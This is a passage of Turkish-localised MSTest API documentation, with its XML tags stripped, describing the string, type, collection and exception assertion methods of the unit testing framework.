oluşturulur. - - - Büyük/küçük harfe duyarlı veya duyarsız bir karşılaştırmayı gösteren Boole değeri. (true - değeri büyük/küçük harfe duyarsız bir karşılaştırmayı belirtir.) - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşit değil: . İleti test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is not equal to . - - - - - Belirtilen dizelerin eşit olup olmadığını test eder ve eşit değilse bir - özel durum oluşturur. - - - Karşılaştırılacak ilk dize. Testte bu dize beklenir. - - - Karşılaştırılacak ikinci dize. Bu dize test kapsamındaki kod tarafından oluşturulur. - - - Büyük/küçük harfe duyarlı veya duyarsız bir karşılaştırmayı gösteren Boole değeri. (true - değeri büyük/küçük harfe duyarsız bir karşılaştırmayı belirtir.) - - - Kültüre özel karşılaştırma bilgileri veren bir CultureInfo nesnesi. - - - Thrown if is not equal to . - - - - - Belirtilen dizelerin eşit olup olmadığını test eder ve eşit değilse bir - özel durum oluşturur. - - - Karşılaştırılacak ilk dize. Testte bu dize beklenir. - - - Karşılaştırılacak ikinci dize. Bu dize test kapsamındaki kod tarafından oluşturulur. - - - Büyük/küçük harfe duyarlı veya duyarsız bir karşılaştırmayı gösteren Boole değeri. (true - değeri büyük/küçük harfe duyarsız bir karşılaştırmayı belirtir.) - - - Kültüre özel karşılaştırma bilgileri veren bir CultureInfo nesnesi. - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşit değil: . İleti test sonuçlarında - gösterilir. - - - Thrown if is not equal to . - - - - - Belirtilen dizelerin eşit olup olmadığını test eder ve eşit değilse bir - özel durum oluşturur. - - - Karşılaştırılacak ilk dize. Testte bu dize beklenir. - - - Karşılaştırılacak ikinci dize. Bu dize test kapsamındaki kod tarafından oluşturulur. - - - Büyük/küçük harfe duyarlı veya duyarsız bir karşılaştırmayı gösteren Boole değeri. (true - değeri büyük/küçük harfe duyarsız bir karşılaştırmayı belirtir.) - - - Kültüre özel karşılaştırma bilgileri veren bir CultureInfo nesnesi. - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşit değil: . İleti test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is not equal to . - - - - - Belirtilen dizelerin eşit olup olmadığını test eder ve eşitse bir özel durum - oluşturur. Karşılaştırma için sabit kültür kullanılır. - - - Karşılaştırılacak birinci dize. Testte bu dizenin eşleşmemesi - beklenir . - - - Karşılaştırılacak ikinci dize. Bu dize test kapsamındaki kod tarafından oluşturulur. - - - Büyük/küçük harfe duyarlı veya duyarsız bir karşılaştırmayı gösteren Boole değeri. (true - değeri büyük/küçük harfe duyarsız bir karşılaştırmayı belirtir.) - - - Thrown if is equal to . - - - - - Belirtilen dizelerin eşit olup olmadığını test eder ve eşitse bir özel durum - oluşturur. Karşılaştırma için sabit kültür kullanılır. - - - Karşılaştırılacak birinci dize. Testte bu dizenin eşleşmemesi - beklenir . - - - Karşılaştırılacak ikinci dize. Bu dize test kapsamındaki kod tarafından oluşturulur. - - - Büyük/küçük harfe duyarlı veya duyarsız bir karşılaştırmayı gösteren Boole değeri. (true - değeri büyük/küçük harfe duyarsız bir karşılaştırmayı belirtir.) - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşittir: . İleti test sonuçlarında - gösterilir. - - - Thrown if is equal to . - - - - - Belirtilen dizelerin eşit olup olmadığını test eder ve eşitse bir özel durum - oluşturur. Karşılaştırma için sabit kültür kullanılır. - - - Karşılaştırılacak birinci dize. Testte bu dizenin eşleşmemesi - beklenir . - - - Karşılaştırılacak ikinci dize. Bu dize test kapsamındaki kod tarafından oluşturulur. - - - Büyük/küçük harfe duyarlı veya duyarsız bir karşılaştırmayı gösteren Boole değeri. (true - değeri büyük/küçük harfe duyarsız bir karşılaştırmayı belirtir.) - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşittir: . İleti test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is equal to . - - - - - Belirtilen dizelerin eşit olup olmadığını test eder ve eşitse bir özel durum - oluşturur. - - - Karşılaştırılacak birinci dize. Testte bu dizenin eşleşmemesi - beklenir . - - - Karşılaştırılacak ikinci dize. Bu dize test kapsamındaki kod tarafından oluşturulur. - - - Büyük/küçük harfe duyarlı veya duyarsız bir karşılaştırmayı gösteren Boole değeri. (true - değeri büyük/küçük harfe duyarsız bir karşılaştırmayı belirtir.) - - - Kültüre özel karşılaştırma bilgileri veren bir CultureInfo nesnesi. - - - Thrown if is equal to . - - - - - Belirtilen dizelerin eşit olup olmadığını test eder ve eşitse bir özel durum - oluşturur. - - - Karşılaştırılacak birinci dize. Testte bu dizenin eşleşmemesi - beklenir . - - - Karşılaştırılacak ikinci dize. Bu dize test kapsamındaki kod tarafından oluşturulur. - - - Büyük/küçük harfe duyarlı veya duyarsız bir karşılaştırmayı gösteren Boole değeri. (true - değeri büyük/küçük harfe duyarsız bir karşılaştırmayı belirtir.) - - - Kültüre özel karşılaştırma bilgileri veren bir CultureInfo nesnesi. - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşittir: . İleti test sonuçlarında - gösterilir. - - - Thrown if is equal to . - - - - - Belirtilen dizelerin eşit olup olmadığını test eder ve eşitse bir özel durum - oluşturur. - - - Karşılaştırılacak birinci dize. Testte bu dizenin eşleşmemesi - beklenir . - - - Karşılaştırılacak ikinci dize. Bu dize test kapsamındaki kod tarafından oluşturulur. - - - Büyük/küçük harfe duyarlı veya duyarsız bir karşılaştırmayı gösteren Boole değeri. (true - değeri büyük/küçük harfe duyarsız bir karşılaştırmayı belirtir.) - - - Kültüre özel karşılaştırma bilgileri veren bir CultureInfo nesnesi. - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşittir: . İleti test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is equal to . - - - - - Belirtilen nesnenin beklenen türde bir örnek olup olmadığını test eder ve - beklenen tür, nesnenin devralma hiyerarşisinde değilse - bir özel durum oluşturur. - - - Testte belirtilen türde olması beklenen nesne. - - - Beklenen tür:. - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Belirtilen nesnenin beklenen türde bir örnek olup olmadığını test eder ve - beklenen tür, nesnenin devralma hiyerarşisinde değilse - bir özel durum oluşturur. - - - Testte belirtilen türde olması beklenen nesne. - - - Beklenen tür:. - - - Şu durumda özel duruma dahil edilecek ileti - şunun bir örneği değil: . İleti - test sonuçlarında gösterilir. - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Belirtilen nesnenin beklenen türde bir örnek olup olmadığını test eder ve - beklenen tür, nesnenin devralma hiyerarşisinde değilse - bir özel durum oluşturur. - - - Testte belirtilen türde olması beklenen nesne. - - - Beklenen tür:. - - - Şu durumda özel duruma dahil edilecek ileti - şunun bir örneği değil: . İleti - test sonuçlarında gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Belirtilen nesnenin yanlış türde bir örnek olup olmadığını test eder - ve belirtilen tür nesnenin devralma hiyerarşisinde ise - bir özel durum oluşturur. - - - Testte beklenen türde olmaması beklenen nesne. - - - Tür olmamalıdır. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Belirtilen nesnenin yanlış türde bir örnek olup olmadığını test eder - ve belirtilen tür nesnenin devralma hiyerarşisinde ise - bir özel durum oluşturur. - - - Testte beklenen türde olmaması beklenen nesne. - - - Tür olmamalıdır. - - - Şu durumda özel duruma dahil edilecek ileti - şunun bir örneğidir: . İleti test - sonuçlarında gösterilir. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Belirtilen nesnenin yanlış türde bir örnek olup olmadığını test eder - ve belirtilen tür nesnenin devralma hiyerarşisinde ise - bir özel durum oluşturur. - - - Testte beklenen türde olmaması beklenen nesne. - - - Tür olmamalıdır. - - - Şu durumda özel duruma dahil edilecek ileti - şunun bir örneğidir: . İleti test - sonuçlarında gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Bir AssertFailedException oluşturur. - - - Always thrown. - - - - - Bir AssertFailedException oluşturur. - - - Özel duruma eklenecek ileti. İleti test sonuçlarında - gösterilir. - - - Always thrown. - - - - - Bir AssertFailedException oluşturur. - - - Özel duruma eklenecek ileti. İleti test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Always thrown. - - - - - Bir AssertInconclusiveException oluşturur. - - - Always thrown. - - - - - Bir AssertInconclusiveException oluşturur. - - - Özel duruma eklenecek ileti. İleti test sonuçlarında - gösterilir. - - - Always thrown. - - - - - Bir AssertInconclusiveException oluşturur. - - - Özel duruma eklenecek ileti. İleti test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Always thrown. - - - - - Statik eşit aşırı yüklemeler iki türün örneklerini başvuru eşitliği bakımından - karşılaştırmak için kullanılır. Bu metot iki örneği eşitlik bakımından karşılaştırmak için - kullanılmamalıdır. Bu nesne her zaman Assert.Fail ile oluşturulur. - Lütfen birim testlerinizde Assert.AreEqual ve ilişkili aşırı yüklemelerini kullanın. - - Nesne A - Nesne B - Her zaman false. - - - - temsilcisi tarafından belirtilen kodun tam olarak belirtilen türündeki (türetilmiş bir türde olmayan) özel durumu - oluşturup oluşturmadığını test eder ve kod özel durum oluşturmuyorsa veya türünden başka bir türde özel durum oluşturuyorsa - - AssertFailedException - - oluşturur. - - - Test edilecek ve özel durum oluşturması beklenen kodun temsilcisi. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Oluşturulması beklenen özel durum türü. - - - - - temsilcisi tarafından belirtilen kodun tam olarak belirtilen türündeki (türetilmiş bir türde olmayan) özel durumu - oluşturup oluşturmadığını test eder ve kod özel durum oluşturmuyorsa veya türünden başka bir türde özel durum oluşturuyorsa - - AssertFailedException - - oluşturur. - - - Test edilecek ve özel durum oluşturması beklenen kodun temsilcisi. - - - Şu durumda özel duruma dahil edilecek ileti - şu türde bir özel durum oluşturmaz: . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Oluşturulması beklenen özel durum türü. - - - - - temsilcisi tarafından belirtilen kodun tam olarak belirtilen türündeki (türetilmiş bir türde olmayan) özel durumu - oluşturup oluşturmadığını test eder ve kod özel durum oluşturmuyorsa veya türünden başka bir türde özel durum oluşturuyorsa - - AssertFailedException - - oluşturur. - - - Test edilecek ve özel durum oluşturması beklenen kodun temsilcisi. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Oluşturulması beklenen özel durum türü. - - - - - temsilcisi tarafından belirtilen kodun tam olarak belirtilen türündeki (türetilmiş bir türde olmayan) özel durumu - oluşturup oluşturmadığını test eder ve kod özel durum oluşturmuyorsa veya türünden başka bir türde özel durum oluşturuyorsa - - AssertFailedException - - oluşturur. - - - Test edilecek ve özel durum oluşturması beklenen kodun temsilcisi. - - - Şu durumda özel duruma dahil edilecek ileti - şu türde bir özel durum oluşturmaz: . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Oluşturulması beklenen özel durum türü. - - - - - temsilcisi tarafından belirtilen kodun tam olarak belirtilen türündeki (türetilmiş bir türde olmayan) özel durumu - oluşturup oluşturmadığını test eder ve kod özel durum oluşturmuyorsa veya türünden başka bir türde özel durum oluşturuyorsa - - AssertFailedException - - oluşturur. - - - Test edilecek ve özel durum oluşturması beklenen kodun temsilcisi. - - - Şu durumda özel duruma dahil edilecek ileti - şu türde bir özel durum oluşturmaz: . - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Type of exception expected to be thrown. - - - Thrown if does not throw exception of type . - - - Oluşturulması beklenen özel durum türü. - - - - - temsilcisi tarafından belirtilen kodun tam olarak belirtilen türündeki (türetilmiş bir türde olmayan) özel durumu - oluşturup oluşturmadığını test eder ve kod özel durum oluşturmuyorsa veya türünden başka bir türde özel durum oluşturuyorsa - - AssertFailedException - - oluşturur. - - - Test edilecek ve özel durum oluşturması beklenen kodun temsilcisi. - - - Şu durumda özel duruma dahil edilecek ileti - şu türde bir özel durum oluşturmaz: . - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Oluşturulması beklenen özel durum türü. - - - - - temsilcisi tarafından belirtilen kodun tam olarak belirtilen türündeki (türetilmiş bir türde olmayan) özel durumu - oluşturup oluşturmadığını test eder ve kod özel durum oluşturmuyorsa veya türünden başka bir türde özel durum oluşturuyorsa - - AssertFailedException - - oluşturur. - - - Test edilecek ve özel durum oluşturması beklenen kodun temsilcisi. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Bir temsilciyi çalıştırıyor. - - - - - temsilcisi tarafından belirtilen kodun tam olarak belirtilen türündeki (türetilmiş bir türde olmayan) özel durumu - oluşturup oluşturmadığını test eder ve kod özel durum oluşturmuyorsa veya türünden başka bir türde özel durum oluşturuyorsa AssertFailedException oluşturur. - - Test edilecek ve özel durum oluşturması beklenen kodun temsilcisi. - - Şu durumda özel duruma dahil edilecek ileti - tarafından şu türde özel durum oluşturulmadığı durumlarda oluşturulur: . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - Bir temsilciyi çalıştırıyor. - - - - - temsilcisi tarafından belirtilen kodun tam olarak belirtilen türündeki (türetilmiş bir türde olmayan) özel durumu - oluşturup oluşturmadığını test eder ve kod özel durum oluşturmuyorsa veya türünden başka bir türde özel durum oluşturuyorsa AssertFailedException oluşturur. - - Test edilecek ve özel durum oluşturması beklenen kodun temsilcisi. - - Şu durumda özel duruma dahil edilecek ileti - tarafından şu türde özel durum oluşturulmadığı durumlarda oluşturulur: . - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - Bir temsilciyi çalıştırıyor. - - - - - Null karakterleri ('\0'), "\\0" ile değiştirir. - - - Aranacak dize. - - - Null karakterler içeren dönüştürülmüş dize "\\0" ile değiştirildi. - - - This is only public and still present to preserve compatibility with the V1 framework. - - - - - AssertionFailedException oluşturan yardımcı işlev - - - özel durum oluşturan onaylamanın adı - - - onaylama hatası koşullarını açıklayan ileti - - - Parametreler. - - - - - Parametreyi geçerli koşullar için denetler - - - Parametre. - - - Onaylama Adı. - - - parametre adı - - - iletisi geçersiz parametre özel durumu içindir - - - Parametreler. - - - - - Bir nesneyi güvenli bir şekilde dizeye dönüştürür, null değerleri ve null karakterleri işler. - Null değerler "(null)" değerine dönüştürülür. Null karakterler "\\0" değerine dönüştürülür. - - - Dizeye dönüştürülecek nesne. - - - Dönüştürülmüş dize. - - - - - Dize onayı. - - - - - CollectionAssert işlevselliğinin tekil örneğini alır. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void ContainsWords(this StringAssert cusomtAssert, string value, ICollection substrings)" - Users could then use a syntax similar to the default assertions which in this case is "StringAssert.That.ContainsWords(value, substrings);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Belirtilen dizenin belirtilen alt dizeyi içerip içermediğini test eder - ve alt dize test dizesinin içinde geçmiyorsa bir özel durum - oluşturur. - - - Şunu içermesi beklenen dize . - - - Şunun içinde gerçekleşmesi beklenen dize: . - - - Thrown if is not found in - . - - - - - Belirtilen dizenin belirtilen alt dizeyi içerip içermediğini test eder - ve alt dize test dizesinin içinde geçmiyorsa bir özel durum - oluşturur. - - - Şunu içermesi beklenen dize . - - - Şunun içinde gerçekleşmesi beklenen dize: . - - - Şu durumda özel duruma dahil edilecek ileti - şunun içinde değil: . İleti test sonuçlarında - gösterilir. - - - Thrown if is not found in - . - - - - - Belirtilen dizenin belirtilen alt dizeyi içerip içermediğini test eder - ve alt dize test dizesinin içinde geçmiyorsa bir özel durum - oluşturur. - - - Şunu içermesi beklenen dize . - - - Şunun içinde gerçekleşmesi beklenen dize: . - - - Şu durumda özel duruma dahil edilecek ileti - şunun içinde değil: . İleti test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is not found in - . - - - - - Belirtilen dizenin belirtilen alt dizeyle başlayıp başlamadığını test eder - ve test dizesi alt dizeyle başlamıyorsa bir özel durum - oluşturur. - - - Şununla başlaması beklenen dize . - - - Şunun ön eki olması beklenen dize: . - - - Thrown if does not begin with - . - - - - - Belirtilen dizenin belirtilen alt dizeyle başlayıp başlamadığını test eder - ve test dizesi alt dizeyle başlamıyorsa bir özel durum - oluşturur. - - - Şununla başlaması beklenen dize . - - - Şunun ön eki olması beklenen dize: . - - - Şu durumda özel duruma dahil edilecek ileti - şununla başlamıyor: . İleti - test sonuçlarında gösterilir. - - - Thrown if does not begin with - . - - - - - Belirtilen dizenin belirtilen alt dizeyle başlayıp başlamadığını test eder - ve test dizesi alt dizeyle başlamıyorsa bir özel durum - oluşturur. - - - Şununla başlaması beklenen dize . - - - Şunun ön eki olması beklenen dize: . - - - Şu durumda özel duruma dahil edilecek ileti - şununla başlamıyor: . İleti - test sonuçlarında gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if does not begin with - . - - - - - Belirtilen dizenin belirtilen alt dizeyle bitip bitmediğini test eder - ve test dizesi alt dizeyle bitmiyorsa bir özel durum - oluşturur. - - - Dizenin şununla bitmesi beklenir: . - - - Şunun son eki olması beklenen dize: . - - - Thrown if does not end with - . - - - - - Belirtilen dizenin belirtilen alt dizeyle bitip bitmediğini test eder - ve test dizesi alt dizeyle bitmiyorsa bir özel durum - oluşturur. - - - Dizenin şununla bitmesi beklenir: . - - - Şunun son eki olması beklenen dize: . - - - Şu durumda özel duruma dahil edilecek ileti - şununla bitmiyor: . İleti - test sonuçlarında gösterilir. - - - Thrown if does not end with - . - - - - - Belirtilen dizenin belirtilen alt dizeyle bitip bitmediğini test eder - ve test dizesi alt dizeyle bitmiyorsa bir özel durum - oluşturur. - - - Dizenin şununla bitmesi beklenir: . - - - Şunun son eki olması beklenen dize: . - - - Şu durumda özel duruma dahil edilecek ileti - şununla bitmiyor: . İleti - test sonuçlarında gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if does not end with - . - - - - - Belirtilen dizenin bir normal ifadeyle eşleşip eşleşmediğini test eder - ve dize ifadeyle eşleşmiyorsa bir özel durum oluşturur. - - - Eşleşmesi beklenen dize . - - - Normal ifade: eşleşmesi - bekleniyor. - - - Thrown if does not match - . - - - - - Belirtilen dizenin bir normal ifadeyle eşleşip eşleşmediğini test eder - ve dize ifadeyle eşleşmiyorsa bir özel durum oluşturur. - - - Eşleşmesi beklenen dize . - - - Normal ifade: eşleşmesi - bekleniyor. - - - Şu durumda özel duruma dahil edilecek ileti - eşleşmiyor . İleti test sonuçlarında - gösterilir. - - - Thrown if does not match - . - - - - - Belirtilen dizenin bir normal ifadeyle eşleşip eşleşmediğini test eder - ve dize ifadeyle eşleşmiyorsa bir özel durum oluşturur. - - - Eşleşmesi beklenen dize . - - - Normal ifade: eşleşmesi - bekleniyor. - - - Şu durumda özel duruma dahil edilecek ileti - eşleşmiyor . İleti test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if does not match - . - - - - - Belirtilen dizenin bir normal ifadeyle eşleşip eşleşmediğini test eder - ve dize ifadeyle eşleşiyorsa bir özel durum oluşturur. - - - Eşleşmemesi beklenen dize . - - - Normal ifade: eşleşmemesi - bekleniyor. - - - Thrown if matches . - - - - - Belirtilen dizenin bir normal ifadeyle eşleşip eşleşmediğini test eder - ve dize ifadeyle eşleşiyorsa bir özel durum oluşturur. - - - Eşleşmemesi beklenen dize . - - - Normal ifade: eşleşmemesi - bekleniyor. - - - Şu durumda özel duruma dahil edilecek ileti - eşleşme . İleti, test sonuçlarında - gösterilir. - - - Thrown if matches . - - - - - Belirtilen dizenin bir normal ifadeyle eşleşip eşleşmediğini test eder - ve dize ifadeyle eşleşiyorsa bir özel durum oluşturur. - - - Eşleşmemesi beklenen dize . - - - Normal ifade: eşleşmemesi - bekleniyor. - - - Şu durumda özel duruma dahil edilecek ileti - eşleşme . İleti, test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if matches . - - - - - Birim testleri içindeki koleksiyonlarla ilişkili çeşitli koşulları test etmeye - yönelik yardımcı sınıf koleksiyonu. Test edilen koşul karşılanmazsa - bir özel durum oluşturulur. - - - - - CollectionAssert işlevselliğinin tekil örneğini alır. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void AreEqualUnordered(this CollectionAssert cusomtAssert, ICollection expected, ICollection actual)" - Users could then use a syntax similar to the default assertions which in this case is "CollectionAssert.That.AreEqualUnordered(list1, list2);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Belirtilen koleksiyonun belirtilen öğeyi içerip içermediğini test eder - ve öğe koleksiyonda değilse bir özel durum oluşturur. - - - Öğenin aranacağı koleksiyon. - - - Koleksiyonda olması beklenen öğe. - - - Thrown if is not found in - . - - - - - Belirtilen koleksiyonun belirtilen öğeyi içerip içermediğini test eder - ve öğe koleksiyonda değilse bir özel durum oluşturur. - - - Öğenin aranacağı koleksiyon. - - - Koleksiyonda olması beklenen öğe. - - - Şu durumda özel duruma dahil edilecek ileti - şunun içinde değil: . İleti test sonuçlarında - gösterilir. - - - Thrown if is not found in - . - - - - - Belirtilen koleksiyonun belirtilen öğeyi içerip içermediğini test eder - ve öğe koleksiyonda değilse bir özel durum oluşturur. - - - Öğenin aranacağı koleksiyon. - - - Koleksiyonda olması beklenen öğe. - - - Şu durumda özel duruma dahil edilecek ileti - şunun içinde değil: . İleti test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is not found in - . - - - - - Belirtilen koleksiyonun belirtilen öğeyi içerip içermediğini test eder - ve öğe koleksiyonda bulunuyorsa bir özel durum oluşturur. - - - Öğenin aranacağı koleksiyon. - - - Koleksiyonda olmaması beklenen öğe. - - - Thrown if is found in - . - - - - - Belirtilen koleksiyonun belirtilen öğeyi içerip içermediğini test eder - ve öğe koleksiyonda bulunuyorsa bir özel durum oluşturur. - - - Öğenin aranacağı koleksiyon. - - - Koleksiyonda olmaması beklenen öğe. - - - Şu durumda özel duruma dahil edilecek ileti - şunun içindedir: . İleti, test sonuçlarında - gösterilir. - - - Thrown if is found in - . - - - - - Belirtilen koleksiyonun belirtilen öğeyi içerip içermediğini test eder - ve öğe koleksiyonda bulunuyorsa bir özel durum oluşturur. - - - Öğenin aranacağı koleksiyon. - - - Koleksiyonda olmaması beklenen öğe. - - - Şu durumda özel duruma dahil edilecek ileti - şunun içindedir: . İleti, test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is found in - . - - - - - Belirtilen koleksiyondaki tüm öğelerin null dışında değere sahip olup - olmadığını test eder ve herhangi bir öğe null ise özel durum oluşturur. - - - İçinde null öğelerin aranacağı koleksiyon. - - - Thrown if a null element is found in . - - - - - Belirtilen koleksiyondaki tüm öğelerin null dışında değere sahip olup - olmadığını test eder ve herhangi bir öğe null ise özel durum oluşturur. - - - İçinde null öğelerin aranacağı koleksiyon. - - - Şu durumda özel duruma dahil edilecek ileti - bir null öğe içeriyor. İleti test sonuçlarında gösterilir. - - - Thrown if a null element is found in . - - - - - Belirtilen koleksiyondaki tüm öğelerin null dışında değere sahip olup - olmadığını test eder ve herhangi bir öğe null ise özel durum oluşturur. - - - İçinde null öğelerin aranacağı koleksiyon. - - - Şu durumda özel duruma dahil edilecek ileti - bir null öğe içeriyor. İleti test sonuçlarında gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if a null element is found in . - - - - - Belirtilen koleksiyondaki tüm öğelerin benzersiz olup olmadığını test eder - ve koleksiyondaki herhangi iki öğe eşitse özel durum oluşturur. - - - Yinelenen öğelerin aranacağı koleksiyon. - - - Thrown if a two or more equal elements are found in - . - - - - - Belirtilen koleksiyondaki tüm öğelerin benzersiz olup olmadığını test eder - ve koleksiyondaki herhangi iki öğe eşitse özel durum oluşturur. - - - Yinelenen öğelerin aranacağı koleksiyon. - - - Şu durumda özel duruma dahil edilecek ileti - en az bir yinelenen öğe içeriyor. İleti, test sonuçlarında - gösterilir. - - - Thrown if a two or more equal elements are found in - . - - - - - Belirtilen koleksiyondaki tüm öğelerin benzersiz olup olmadığını test eder - ve koleksiyondaki herhangi iki öğe eşitse özel durum oluşturur. - - - Yinelenen öğelerin aranacağı koleksiyon. - - - Şu durumda özel duruma dahil edilecek ileti - en az bir yinelenen öğe içeriyor. İleti, test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if a two or more equal elements are found in - . - - - - - Bir koleksiyonun başka bir koleksiyona ait alt küme olup olmadığını - test eder ve alt kümedeki herhangi bir öğe aynı zamanda üst kümede - yoksa bir özel durum oluşturur. - - - Şunun alt kümesi olması beklenen koleksiyon: . - - - Şunun üst kümesi olması beklenen koleksiyon: - - - Thrown if an element in is not found in - . - - - - - Bir koleksiyonun başka bir koleksiyona ait alt küme olup olmadığını - test eder ve alt kümedeki herhangi bir öğe aynı zamanda üst kümede - yoksa bir özel durum oluşturur. - - - Şunun alt kümesi olması beklenen koleksiyon: . - - - Şunun üst kümesi olması beklenen koleksiyon: - - - İletinin özel duruma dahil edilmesi için şuradaki bir öğe: - şurada bulunmuyor: . - İleti test sonuçlarında gösterilir. - - - Thrown if an element in is not found in - . - - - - - Bir koleksiyonun başka bir koleksiyona ait alt küme olup olmadığını - test eder ve alt kümedeki herhangi bir öğe aynı zamanda üst kümede - yoksa bir özel durum oluşturur. - - - Şunun alt kümesi olması beklenen koleksiyon: . - - - Şunun üst kümesi olması beklenen koleksiyon: - - - İletinin özel duruma dahil edilmesi için şuradaki bir öğe: - şurada bulunmuyor: . - İleti test sonuçlarında gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if an element in is not found in - . - - - - - Bir koleksiyonun başka bir koleksiyona ait alt küme olup olmadığını - test eder ve alt kümedeki tüm öğeler aynı zamanda üst kümede - bulunuyorsa bir özel durum oluşturur. - - - Şunun alt kümesi olmaması beklenen koleksiyon: . - - - Şunun üst kümesi olmaması beklenen koleksiyon: - - - Thrown if every element in is also found in - . - - - - - Bir koleksiyonun başka bir koleksiyona ait alt küme olup olmadığını - test eder ve alt kümedeki tüm öğeler aynı zamanda üst kümede - bulunuyorsa bir özel durum oluşturur. - - - Şunun alt kümesi olmaması beklenen koleksiyon: . - - - Şunun üst kümesi olmaması beklenen koleksiyon: - - - Mesajın özel duruma dahil edilmesi için şuradaki her öğe: - ayrıca şurada bulunur: . - İleti test sonuçlarında gösterilir. - - - Thrown if every element in is also found in - . - - - - - Bir koleksiyonun başka bir koleksiyona ait alt küme olup olmadığını - test eder ve alt kümedeki tüm öğeler aynı zamanda üst kümede - bulunuyorsa bir özel durum oluşturur. - - - Şunun alt kümesi olmaması beklenen koleksiyon: . - - - Şunun üst kümesi olmaması beklenen koleksiyon: - - - Mesajın özel duruma dahil edilmesi için şuradaki her öğe: - ayrıca şurada bulunur: . - İleti test sonuçlarında gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if every element in is also found in - . - - - - - İki koleksiyonun aynı öğeleri içerip içermediğini test eder ve koleksiyonlardan - biri diğer koleksiyonda olmayan bir öğeyi içeriyorsa özel durum - oluşturur. - - - Karşılaştırılacak birinci koleksiyon. Testte beklenen öğeleri - içerir. - - - Karşılaştırılacak ikinci koleksiyon. Test kapsamındaki kod tarafından - bu koleksiyon oluşturulur. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - İki koleksiyonun aynı öğeleri içerip içermediğini test eder ve koleksiyonlardan - biri diğer koleksiyonda olmayan bir öğeyi içeriyorsa özel durum - oluşturur. - - - Karşılaştırılacak birinci koleksiyon. Testte beklenen öğeleri - içerir. - - - Karşılaştırılacak ikinci koleksiyon. Test kapsamındaki kod tarafından - bu koleksiyon oluşturulur. - - - Bir öğe koleksiyonlardan birinde varken diğerinde olmadığında - özel duruma eklenecek ileti. İleti, test sonuçlarında - gösterilir. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - İki koleksiyonun aynı öğeleri içerip içermediğini test eder ve koleksiyonlardan - biri diğer koleksiyonda olmayan bir öğeyi içeriyorsa özel durum - oluşturur. - - - Karşılaştırılacak birinci koleksiyon. Testte beklenen öğeleri - içerir. - - - Karşılaştırılacak ikinci koleksiyon. Test kapsamındaki kod tarafından - bu koleksiyon oluşturulur. - - - Bir öğe koleksiyonlardan birinde varken diğerinde olmadığında - özel duruma eklenecek ileti. İleti, test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if an element was found in one of the collections but not - the other. - - - - - İki koleksiyonun farklı öğeler içerip içermediğini test eder ve iki koleksiyon - sıraya bakılmaksızın aynı öğeleri içeriyorsa bir özel durum - oluşturur. - - - Karşılaştırılacak birinci koleksiyon. Testte gerçek koleksiyondan farklı olması beklenen - öğeleri içerir. - - - Karşılaştırılacak ikinci koleksiyon. Test kapsamındaki kod tarafından - bu koleksiyon oluşturulur. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - İki koleksiyonun farklı öğeler içerip içermediğini test eder ve iki koleksiyon - sıraya bakılmaksızın aynı öğeleri içeriyorsa bir özel durum - oluşturur. - - - Karşılaştırılacak birinci koleksiyon. Testte 